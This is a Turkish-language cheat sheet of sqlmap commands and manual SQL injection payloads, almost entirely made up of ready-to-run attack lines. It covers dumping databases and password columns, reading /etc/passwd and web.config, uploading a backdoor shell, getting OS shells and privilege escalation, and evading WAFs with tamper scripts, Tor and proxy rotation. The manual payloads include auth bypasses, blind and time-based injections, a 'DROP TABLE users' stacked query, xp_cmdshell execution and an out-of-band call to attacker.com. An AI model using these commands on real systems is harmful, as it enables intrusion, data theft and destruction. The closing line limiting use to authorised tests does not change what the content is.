Basit SQL Injection Tespitleri
Basit bir URL üzerinde SQL injection tespiti yap
sqlmap -u "http://example.com/page?id=1" --batchKullanıcı adı ve şifre gerektiren bir site üzerinde SQL injection tespiti yap
sqlmap -u "http://example.com/login.php?user=admin&pass=test" --batchForm verisi üzerinden SQL injection tespiti yap
sqlmap -u "http://example.com/login.php" --data "username=admin&password=123" --batchHTTPS URL üzerinde SQL injection tespiti yap
sqlmap -u "https://example.com/page?id=1" --batchVuln check
Belirtilen URL'de tüm parametrelerde SQL injection zafiyetini tespit et
sqlmap -u "http://example.com/page?id=1" --crawl=3 --batchBaşka bir parametreyi de test et
sqlmap -u "http://example.com/search.php?q=test" --batchHTTP başlıklarını gözlemleyerek hedefi test et
sqlmap -u "http://example.com/page?id=1" -H "User-Agent: Mozilla/5.0" --batchSiteyi daha derin tarayarak parametreleri keşfet
sqlmap -u "http://example.com/page?id=1" --crawl=5 --batchDatabase / Table check
Hedefin veritabanlarını listele
sqlmap -u "http://example.com/page?id=1" --dbs --batchBelirli bir veritabanındaki tabloları listele
sqlmap -u "http://example.com/page?id=1" -D target_db --tables --batchBelirli bir tablodaki verileri listele
sqlmap -u "http://example.com/page?id=1" -D target_db -T target_table --dump --batchData dump
Hedef veritabanındaki tüm verileri dışa aktar
sqlmap -u "http://example.com/page?id=1" --dump --batchSadece belirli bir tablodan veri çek
sqlmap -u "http://example.com/page?id=1" -D target_db -T target_table --dump --batchVeritabanını bir dosyaya dışa aktar
sqlmap -u "http://example.com/page?id=1" --dump-all --batch -o output.txtAdvanced SQLMAP USING
SQLMap'ı farklı bir proxy üzerinden çalıştır (örneğin burp suite)
sqlmap -u "http://example.com/page?id=1" --proxy "http://localhost:8080" --batchHedef veritabanı için alternatif bir payload kullan
sqlmap -u "http://example.com/page?id=1" --tamper="between" --batchHedef siteyi login kullanarak test et
sqlmap -u "http://example.com" --cookie="SESSIONID=abcd1234" --batchSiteyi SQLMap ile taradıktan sonra zafiyetten yararlanarak admin paneline giriş yap
sqlmap -u "http://example.com/login.php?user=admin&pass=test" --data "username=admin&password=123" --batch --threads=10Veritabanına bir bağlantı açmak için --os-shell ve --os-pwn kullan
sqlmap -u "http://example.com/page?id=1" --os-shell --batchsqlmap -u "http://example.com/page?id=1" --os-pwn --batch
Hedef veritabanındaki tabloyu ve verilerini elde et
sqlmap -u "http://example.com/page?id=1" -D target_db -T target_table --dump --batchHedef sisteme bir dosya yükle
sqlmap -u "http://example.com/page?id=1" --os-pwn --upload-file="/path/to/local/file" --batchTüm veritabanlarını dışa aktar
sqlmap -u "http://example.com/page?id=1" --dump-all --batchDizin gezme ve dosya okuma
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd" --batchGelişmiş sqlmap Teknikleri (WAF Atlatma, Sistem Erişimi, OOB)
Tüm mevcut tamper script'lerini listele
sqlmap --list-tampersBirden fazla tamper script'ini art arda kullan (WAF atlatma)
sqlmap -u "http://example.com/page?id=1" --tamper="randomcase,space2comment,equaltolike" --batchBoşlukları yorum satırıyla değiştir (space2comment)
sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --batchAnahtar kelimeleri rastgele büyük/küçük harf yap (randomcase)
sqlmap -u "http://example.com/page?id=1" --tamper=randomcase --batchEşittir işaretini LIKE ile değiştir (equaltolike)
sqlmap -u "http://example.com/page?id=1" --tamper=equaltolike --batchTek tırnakları maskeli hale getir (apostrophemask)
sqlmap -u "http://example.com/page?id=1" --tamper=apostrophemask --batchBase64 ile payload'ı kodla (base64encode)
sqlmap -u "http://example.com/page?id=1" --tamper=base64encode --batchHex encode ile payload'ı gizle (hexencode)
sqlmap -u "http://example.com/page?id=1" --tamper=hexencode --batchİkili (binary) veri gönderme (charencode)
sqlmap -u "http://example.com/page?id=1" --tamper=charencode --batchUnicode dönüşümü (charunicodeencode)
sqlmap -u "http://example.com/page?id=1" --tamper=charunicodeencode --batchGREATEST fonksiyonu ile OR mantığını atlat (greatest)
sqlmap -u "http://example.com/page?id=1" --tamper=greatest --batchÇoklu boşluk ekle (multiplespaces)
sqlmap -u "http://example.com/page?id=1" --tamper=multiplespaces --batchRastgele User-Agent kullan (WAF'ı şaşırt)
sqlmap -u "http://example.com/page?id=1" --random-agent --batchMobil cihaz taklidi (mobile)
sqlmap -u "http://example.com/page?id=1" --mobile --batchÖzel HTTP başlığı ekle (örneğin X-Forwarded-For)
sqlmap -u "http://example.com/page?id=1" --headers="X-Forwarded-For: 127.0.0.1" --batchReferer sahtekarlığı
sqlmap -u "http://example.com/page?id=1" --referer="http://example.com/home" --batchCanlı çerez dosyası kullan (live-cookies)
sqlmap -u "http://example.com/page?id=1" --live-cookies=live_cookies.txt --batchTor ağı üzerinden çalıştır (anonimlik)
sqlmap -u "http://example.com/page?id=1" --tor --tor-type=SOCKS5 --check-tor --batchProxy listesi ile döngü (proxy-file)
sqlmap -u "http://example.com/page?id=1" --proxy-file=proxies.txt --proxy-freq=5 --batchİstekler arası gecikme (delay) - rate limit atlatmak için
sqlmap -u "http://example.com/page?id=1" --delay=2 --batchDaha agresif test seviyesi (level=5 risk=3)
sqlmap -u "http://example.com/page?id=1" --level=5 --risk=3 --batchVeritabanı parmak izi (banner, version)
sqlmap -u "http://example.com/page?id=1" --banner --batchsqlmap -u "http://example.com/page?id=1" --current-db --batch
sqlmap -u "http://example.com/page?id=1" --current-user --batch
Belirli bir tablodaki sütunları listele
sqlmap -u "http://example.com/page?id=1" -D target_db -T users --columns --batchSadece belirli sütunları al (örneğin username, password)
sqlmap -u "http://example.com/page?id=1" -D target_db -T users -C "username,password" --dump --batchVeritabanı şemasını çıkar (schema)
sqlmap -u "http://example.com/page?id=1" --schema --batchVeri çekerken thread sayısını artır (hızlı dump)
sqlmap -u "http://example.com/page?id=1" -D target_db -T users --dump --threads=10 --batchÇıktıyı belirli bir formatta al (csv, html, txt)
sqlmap -u "http://example.com/page?id=1" --dump --output-format=csv --batchBurp Suite'ten yakalanan isteği dosyadan oku (request file)
sqlmap -r burp_request.txt --batchHTTP metodu belirleme (PUT, DELETE vb.)
sqlmap -u "http://example.com/page" --method=PUT --data="id=1" --batchDosya okuma (file-read) - örneğin /etc/passwd, web.config
sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd" --batchsqlmap -u "http://example.com/page?id=1" --file-read="C:/inetpub/wwwroot/web.config" --batch
Dosya yükleme (upload) - shell yükle
sqlmap -u "http://example.com/page?id=1" --os-pwn --upload-file="/path/to/backdoor.php" --batchSistem komutu çalıştırma (os-cmd)
sqlmap -u "http://example.com/page?id=1" --os-cmd="whoami" --batchsqlmap -u "http://example.com/page?id=1" --os-cmd="id" --batch
İnteraktif OS shell (os-shell)
sqlmap -u "http://example.com/page?id=1" --os-shell --batchOOB (Out-of-Band) shell ile Meterpreter veya VNC bağlantısı (os-pwn)
sqlmap -u "http://example.com/page?id=1" --os-pwn --batchAyrıcalık yükseltme (priv-esc)
sqlmap -u "http://example.com/page?id=1" --priv-esc --batchSMB relay ile OOB shell (os-smbrelay)
sqlmap -u "http://example.com/page?id=1" --os-smbrelay --batchStored procedure buffer overflow (os-bof)
sqlmap -u "http://example.com/page?id=1" --os-bof --batchSQLMap'i sessiz modda çalıştır (verbose seviyesi)
sqlmap -u "http://example.com/page?id=1" --batch -v 0SQLMap ile otomatik olarak yanıtları bekleme (batch + answer)
sqlmap -u "http://example.com/page?id=1" --batch --answers="crack=Y,dos=Y"Tüm testleri atlayıp sadece belirli tekniği kullan (--technique)
sqlmap -u "http://example.com/page?id=1" --technique=B --batch # Booleansqlmap -u "http://example.com/page?id=1" --technique=T --batch # Time
sqlmap -u "http://example.com/page?id=1" --technique=U --batch # Union
sqlmap -u "http://example.com/page?id=1" --technique=E --batch # Error
Çoklu hedef dosyası kullan (--list)
sqlmap --list=targets.txt --batchSQLMap'i bir web proxy üzerinden çalıştır (örneğin mitmproxy)
sqlmap -u "http://example.com" --proxy="http://localhost:8081" --batchTüm sonuçları bir log dosyasına yaz (--log-file)
sqlmap -u "http://example.com/page?id=1" --log-file=sqlmap.log --batchZafiyet tespitinden sonra otomatik olarak veritabanı bilgilerini çek (--flush-session)
sqlmap -u "http://example.com/page?id=1" --flush-session --batchManuel SQL Injection Payload'ları (Otomasyonun yetmediği yerlerde)
Kimlik atlatma (Auth Bypass) - login sayfasında kullan
' OR '1'='1' OR 1=1 --
admin' --
admin' #
' OR 1=1#
' OR '1'='1' --
') OR ('1'='1
' OR 1=1 LIMIT 1 --
' OR 'x'='x
Sütun sayısını bulmak için ORDER BY
' ORDER BY 1--' ORDER BY 2--
' ORDER BY 3--
UNION ile sütun sayısını eşleştir
-1' UNION SELECT 1,2,3---1' UNION SELECT null,null,null--
UNION ile veritabanı bilgisi çek
-1' UNION SELECT database(),user(),version()---1' UNION SELECT table_name,null FROM information_schema.tables--
-1' UNION SELECT column_name,null FROM information_schema.columns WHERE table_name='users'--
Hata tabanlı (Error-based) MySQL payload'ları
' AND (SELECT * FROM (SELECT COUNT(),CONCAT((SELECT database()),FLOOR(RAND(0)2))x FROM information_schema.tables GROUP BY x)a)--' AND extractvalue(1,concat(0x7e,(select database()),0x7e))--
' AND updatexml(1,concat(0x7e,(select database()),0x7e),1)--
PostgreSQL error-based
' AND 1=CAST((SELECT version()) AS int)--Boolean tabanlı (Blind) - sayfa davranışına göre
' AND 1=1--' AND 1=2--
' AND SUBSTRING((SELECT database()),1,1)='a'--
' AND ASCII(SUBSTRING((SELECT database()),1,1))>97--
Time-based (Blind) - MySQL
' AND SLEEP(5)--' AND IF(1=1,SLEEP(5),0)--
' AND IF(SUBSTRING((SELECT database()),1,1)='a', SLEEP(5), 0)--
Time-based (Blind) - PostgreSQL
' AND pg_sleep(5)--' AND CASE WHEN (SELECT current_database())='test' THEN pg_sleep(5) ELSE pg_sleep(0) END--
Time-based (Blind) - MSSQL
' WAITFOR DELAY '0:0:5'--' IF (SELECT @@version) LIKE '%Microsoft%' WAITFOR DELAY '0:0:5'--
Out-of-Band (DNS/HTTP) - Oracle
' AND (SELECT utl_inaddr.get_host_address('attacker.com') FROM dual)--Stacked Queries (çoklu sorgu) - MySQL
'; DROP TABLE users; --'; INSERT INTO users VALUES('hacker','pass'); --
File operation (dosya işlemleri) - MySQL
' UNION SELECT load_file('/etc/passwd')--' INTO OUTFILE '/tmp/out.txt'--
MSSQL - xp_cmdshell ile komut çalıştırma
'; EXEC xp_cmdshell('whoami'); --PostgreSQL - COPY ile dosya okuma/yazma
'; COPY (SELECT 'test') TO '/tmp/out.txt'; --WAF atlatmak için komut içinde yorum satırı kullanma (MySQL)
' OR 1=1 -- -' UNION//SELECT//1,2,3--
'/!UNION/SELECT/**/1,2,3--
Case değiştirme (büyük/küçük harf)
' uNiOn sElEcT 1,2,3--Çift URL encode
%2527 OR 1=1%252D%252DUnicode ile atlatma (MySQL)
'%bf%27 OR 1=1 --Veritabanı şema bilgilerini çekme (MySQL)
' UNION SELECT table_schema,table_name FROM information_schema.tables--' UNION SELECT column_name,data_type FROM information_schema.columns WHERE table_name='users'--
Parola hash'lerini kırma (John ile kombinasyon)
sqlmap -u "http://example.com/page?id=1" -D target_db -T users -C "username,password" --dump --batchÇıkan hash'leri john --format=raw-md5 hash.txt ile kır
Blind SQLi'de veri çekmek için özel script yazma (örneğin Python)
Yukarıdaki zaman tabanlı veya boolean tabanlı payload'ları kullanarak manuel script yazılabilir.
SQLMap'in manuel müdahale için --sql-shell ile interaktif SQL sorgusu çalıştırma
sqlmap -u "http://example.com/page?id=1" --sql-shell --batchSonrasında: SELECT database(); gibi sorgular girebilirsiniz.
SQLMap ile otomatik olarak veritabanı şifrelerini kırma (--crack)
sqlmap -u "http://example.com/page?id=1" --crack --batchSQLMap ile verbose seviyesini artırarak detaylı log alma
sqlmap -u "http://example.com/page?id=1" -v 6 --batchKritik Bilinmeyen/Unutulmaması Gereken Noktalar
- Her zaman --batch kullanmayın; bazen interaktif olmak gerekir (örneğin WAF tespitinde).
- --level=5 ve --risk=3 çok agresif testler yapar, veritabanını çökertme riski vardır. Yetkili testlerde dikkatli olun.
- --os-shell ve --os-pwn çalıştırmak için veritabanı yetkilerinin yüksek olması gerekir (DBA, root).
- Dosya okuma/yazma işlemlerinde secure_file_priv (MySQL) değişkenini kontrol edin.
- WAF atlatmak için tamper script'lerini denemeden önce manuel olarak WAF'ın neyi engellediğini anlayın.
- Blind SQLi'de time-based kullanırken ağ gecikmesini hesaba katın (--delay ile bekleme süresini ayarlayın).
- Proxy kullanımı (Burp) ile trafiği izlemek, manuel müdahale için çok faydalıdır.
- SQLMap'in --flush-session seçeneği, önceki oturum bilgilerini siler ve tüm testleri yeniden başlatır.
- Çoklu hedef taraması için -m veya --list kullanarak dosyadan URL listesi okuyun.
- Sonuçları -o ile çıktı dosyasına yazarken format seçeneklerini kullanın (CSV, HTML, TXT).
- Veritabanı şifrelerini kırmak için --crack kullanabilir, ancak harici bir cracker (John, Hashcat) daha etkili olabilir.
- MSSQL ve Oracle gibi farklı DBMS'ler için özel payload'ları bilmek gerekir (sqlmap otomatik tespit eder).
- --dbms parametresi ile hedef DBMS'yi belirterek test süresini kısaltabilirsiniz (örnek: --dbms=mysql).
- --os parametresi ile hedef işletim sistemini belirterek dosya yolu gibi detayları optimize edin.
- Güncel sqlmap versiyonunu kullanın (git pull ile sürekli güncelleyin).
- Tüm bu komutlar yalnızca yetkili test ortamlarında ve yasal izinler dahilinde kullanılmalıdır.


